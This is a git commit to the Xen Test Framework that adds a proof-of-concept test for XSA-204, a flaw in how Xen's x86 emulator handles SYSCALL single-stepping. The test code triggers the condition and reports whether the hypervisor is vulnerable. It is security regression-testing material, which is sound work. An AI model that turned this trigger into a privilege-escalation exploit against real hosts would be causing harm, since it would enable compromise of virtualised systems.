From: Andrew Cooper Date: Sun, 18 Dec 2016 13:54:13 +0000 (+0000) Subject: XSA-204 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=2b62f68c373159b0b4b0c24512ebfbc8fb02f58e;p=people%2Fandrewcoop%2Fxen-test-framework.git XSA-204 PoC Signed-off-by: Andrew Cooper --- diff --git a/arch/x86/include/arch/msr-index.h b/arch/x86/include/arch/msr-index.h index d479239..2e90079 100644 --- a/arch/x86/include/arch/msr-index.h +++ b/arch/x86/include/arch/msr-index.h @@ -29,6 +29,11 @@ #define _EFER_TCE 15 /* Translation Cache Extension. */ #define EFER_TCE (_AC(1, L) << _EFER_TCE) +#define MSR_STAR 0xc0000081 +#define MSR_LSTAR 0xc0000082 +#define MSR_CSTAR 0xc0000083 +#define MSR_FMASK 0xc0000084 + #define MSR_FS_BASE 0xc0000100 #define MSR_GS_BASE 0xc0000101 #define MSR_SHADOW_GS_BASE 0xc0000102 diff --git a/arch/x86/include/arch/segment.h b/arch/x86/include/arch/segment.h index 9b33a4e..1789854 100644 --- a/arch/x86/include/arch/segment.h +++ b/arch/x86/include/arch/segment.h @@ -19,7 +19,7 @@ * 7/8 - TSS (two slots in long mode) * 8 - DF TSS (32bit only) * - * 9-12 - Available for test use + * 9-14 - Available for test use */ #define GDTE_CS64_DPL0 1 @@ -36,8 +36,10 @@ #define GDTE_AVAIL1 10 #define GDTE_AVAIL2 11 #define GDTE_AVAIL3 12 +#define GDTE_AVAIL4 13 +#define GDTE_AVAIL5 14 -#define NR_GDT_ENTRIES 13 +#define NR_GDT_ENTRIES 15 /* * HVM guests use the GDT directly. diff --git a/docs/all-tests.dox b/docs/all-tests.dox index d88a874..b037bc6 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -82,6 +82,9 @@ override. @subpage test-xsa-203 - x86: missing NULL pointer check in VMFUNC emulation. +@subpage test-xsa-204 - x86: Mishandling of SYSCALL singlestep during +emulation. + @section index-utility Utilities diff --git a/tests/xsa-204/Makefile b/tests/xsa-204/Makefile new file mode 100644 index 0000000..4239af4 --- /dev/null +++ b/tests/xsa-204/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-204 +CATEGORY := xsa +TEST-ENVS := hvm64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-204/main.c b/tests/xsa-204/main.c new file mode 100644 index 0000000..86c2f82 --- /dev/null +++ b/tests/xsa-204/main.c @@ -0,0 +1,91 @@ +/** + * @file tests/xsa-204/main.c + * @ref test-xsa-204 + * + * @page test-xsa-204 XSA-204 + * + * Advisory: [XSA-204](http://xenbits.xen.org/xsa/advisory-204.html) + * + * SYSCALL (unlike most instructions) evaluates its singlestep action based on + * the resulting EFLAGS.TF, not the starting EFLAGS.TF. As the @#DB is raised + * after the CPL change and before the OS can switch stack, it is a large risk + * for privilege escalation. This is also undocumented behaviour. + * + * This test masks TF in MSR_FMASK, enables TF and forces a SYSCALL + * instruction through the emulator. + * + * If vulnerable to XSA-204, a single @#DB will be rased at the start of + * entry_SYSCALL_64(). If not vulnerable, no @#DB will be seen at all. + * + * @see tests/xsa-204/main.c + */ +#include + +#include +#include + +bool test_needs_fep = true; +bool test_wants_user_mappings = true; +const char test_title[] = "XSA-204 PoC"; + +void entry_SYSCALL_64(void); +asm(".align 8;" + "entry_SYSCALL_64:" + "and $~" STR(X86_EFLAGS_TF) ", %r11;" + "sysretq;" + ); + +static void user_force_syscall(void) +{ + asm volatile ("pushf;" + "orl $%c[TF], (%%rsp);" + "popf;" + + _ASM_XEN_FEP + "syscall;" + :: + [TF] "i" (X86_EFLAGS_TF) + : "rcx", "r11"); +} + +void test_main(void) +{ + if ( !cpu_has_syscall ) + return xtf_skip("Skip: SYSCALL not suported\n"); + + /* Enable SYSCALL/SYSRET. */ + wrmsr(MSR_EFER, rdmsr(MSR_EFER) | EFER_SCE); + + /* Lay out the GDT suitably for SYSCALL/SYSRET. */ + gdt[GDTE_AVAIL0] = gdt[__KERN_CS >> 3]; /* SYSCALL %cs/%ss selectors */ + gdt[GDTE_AVAIL1] = gdt[GDTE_DS32_DPL0]; + + gdt[GDTE_AVAIL2] = gdt[GDTE_CS32_DPL3]; /* SYSRET %cs/%ss selectors */ + gdt[GDTE_AVAIL3] = gdt[GDTE_DS32_DPL3]; + gdt[GDTE_AVAIL4] = gdt[GDTE_CS64_DPL3]; + + /* Set up the MSRs. */ + wrmsr(MSR_STAR, ((((uint64_t)GDTE_AVAIL0 * 8 + 0) << 32) | + (((uint64_t)GDTE_AVAIL2 * 8 + 3) << 48))); + wrmsr(MSR_LSTAR, (unsigned long)entry_SYSCALL_64); + wrmsr(MSR_FMASK, X86_EFLAGS_TF); + + xtf_exlog_start(); + exec_user_void(user_force_syscall); + xtf_exlog_stop(); + + if ( xtf_exlog_entries() != 0 ) + xtf_failure("Fail: Observed debug traps - vulnerable to XSA-204\n"); + else + xtf_success("Success: Not vulnerable to XSA-204\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */